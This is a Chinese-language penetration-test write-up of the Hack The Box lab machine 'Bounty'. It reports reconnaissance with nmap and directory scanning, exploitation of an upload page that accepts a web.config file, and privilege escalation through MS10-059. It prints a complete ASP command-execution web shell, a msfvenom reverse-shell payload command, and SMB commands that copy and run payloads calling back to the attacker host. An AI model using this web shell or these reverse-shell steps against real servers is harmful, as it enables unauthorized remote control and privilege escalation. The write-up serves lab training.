HTB靶机 Bounty 渗透测试记录

misaka19008 发布于 2024-11-13 16 次阅读

目标信息

IP地址：10.10.10.93

信息收集

ICMP检测

PING 10.10.10.93 (10.10.10.93) 56(84) bytes of data.
64 bytes from 10.10.10.93: icmp_seq=1 ttl=127 time=98.2 ms
64 bytes from 10.10.10.93: icmp_seq=2 ttl=127 time=95.8 ms
64 bytes from 10.10.10.93: icmp_seq=3 ttl=127 time=102 ms
64 bytes from 10.10.10.93: icmp_seq=4 ttl=127 time=95.1 ms

--- 10.10.10.93 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3301ms
rtt min/avg/max/mdev = 95.105/97.703/101.655/2.559 ms

攻击机和靶机间通信状态良好。

防火墙检测

# Nmap 7.94SVN scan initiated Tue Oct  8 21:16:49 2024 as: nmap -sF -p- --min-rate 2000 -oN ./fin_result.txt 10.10.10.93
Nmap scan report for 10.10.10.93
Host is up (0.10s latency).
All 65535 scanned ports on 10.10.10.93 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)

# Nmap done at Tue Oct  8 21:17:55 2024 -- 1 IP address (1 host up) scanned in 66.75 seconds

无法确定靶机防火墙状态。

网络端口扫描

TCP端口扫描结果

# Nmap 7.94SVN scan initiated Tue Oct  8 21:22:29 2024 as: nmap -sS -sV -A -p- --min-rate 2000 -oN ./tcp_report.txt 10.10.10.93
Nmap scan report for 10.10.10.93
Host is up (0.095s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: Bounty
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|7|2008|8.1|Vista (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   94.98 ms 10.10.14.1
2   95.66 ms 10.10.10.93

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct  8 21:23:40 2024 -- 1 IP address (1 host up) scanned in 70.36 seconds

UDP端口开放列表扫描结果

# Nmap 7.94SVN scan initiated Tue Oct  8 21:26:47 2024 as: nmap -sU -p- --min-rate 2000 -oN ./udp_report.txt 10.10.10.93
Nmap scan report for 10.10.10.93
Host is up (0.095s latency).
All 65535 scanned ports on 10.10.10.93 are in ignored states.
Not shown: 65535 open|filtered udp ports (no-response)

# Nmap done at Tue Oct  8 21:27:54 2024 -- 1 IP address (1 host up) scanned in 67.34 seconds

UDP端口详细信息扫描结果

（无）

同时发现靶机操作系统大致为Windows Server 2008。

服务探测

Web应用程序（80端口）

打开主页：http://bounty.htb/

直接扫描目录：

# Dirsearch started Wed Oct  9 08:38:36 2024 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://bounty.htb/ -x 400,403,404 -t 60 -e asp,aspx,js,html,txt,zip,tar.gz,pcap -w /usr/share/wordlists/dirb/big.txt

301   155B   http://bounty.htb/aspnet_client    -> REDIRECTS TO: http://bounty.htb/aspnet_client/
301   155B   http://bounty.htb/uploadedfiles    -> REDIRECTS TO: http://bounty.htb/uploadedfiles/

发现目录/uploadedfiles，尝试访问，返回403状态码，直接对该目录进行扫描，但未发现任何信息。

渗透测试

大字典目录枚举

鉴于使用小型目录名字典扫描时未发现有效信息，直接使用大型字典directory-list-2.3-medium.txt进行目录枚举，主要扫描asp和aspx文件：

gobuster dir -u http://bounty.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 70 -x asp,aspx -b 400,404

成功发现文件上传页面：/transfer.aspx！

web.config文件上传

访问transfer.aspx页面：

在本地打开BurpSuite，随意选择一个文件，点击上传：

发现txt文件无法上传。尝试将后缀名改为asp、aspx等，均上传失败，但是可以上传png、jpg等图片文件。上传的文件都保存在uploadedfiles目录下，且未经过改名：

尝试将文件名改为test.config并上传到靶机：

发现可以上传**.config**文件！

接下来可以上传IIS服务器配置文件web.config。通过该文件，攻击者可以修改当前目录下的运行配置和埋藏后门木马。这里直接上传一个WebConfig命令执行后门，该后门通过加载服务器asp.dll动态链接库来执行任意ASP代码：

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%system32inetsrvasp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<%
Response.Write("Hello, hello, I'm sparkle!<br><hr>")

Function GetCommandOutput(command)
    Set shell = CreateObject("WScript.Shell")
    Set exec = shell.Exec(command)
    GetCommandOutput = exec.StdOut.ReadAll
End Function

Response.Write(GetCommandOutput("cmd /c " + Request("cmd")))
Response.Write("<!-"&"-")
%>
-->

成功上传！接下来访问WebConfig后门：``

发现后门运行正常。接下来在本地生成MSF后门程序，并打开SimpleHTTPServer进行下载，随后开启Metasploit监听：

msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.8 LPORT=443 -f exe -o reverse.exe

准备完毕后通过网页木马执行如下命令下载恶意程序：

net use z: \10.10.14.8pentest_notesbounty Asd310056 /user:megumin
copy Z:reverse.exe C:UsersPublicreverse.exe
C:UsersPublicreverse.exe

反弹Shell成功！！！

权限提升

内核漏洞查询

使用如下命令将systeminfo命令输出下载到本地（已经建立SMB连接）：

systeminfo > Z:sysinfo.txt

随后使用Windows Exploit Suggester 2工具进行漏洞查询，发现10个可能的内核漏洞：

决定通过MS10-059漏洞提权。

MS10-059漏洞利用

在GitHub上下载MS10-059漏洞的攻击程序：windows-kernel-exploits/MS10-059/MS10-059.exe at master · SecWiki/windows-kernel-exploits · GitHub

随后通过打开的SMB连接将文件传输到靶机上，并在本地启动监听，执行该程序：

copy Z:MS10-059.exe C:UsersPublicMS10-059.exe
.MS10-059.exe 10.10.14.8 4444

提权成功！！！！

Flag文件展示

本次靶机渗透到此结束

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最后更新于 2024-11-13
啥也没有呀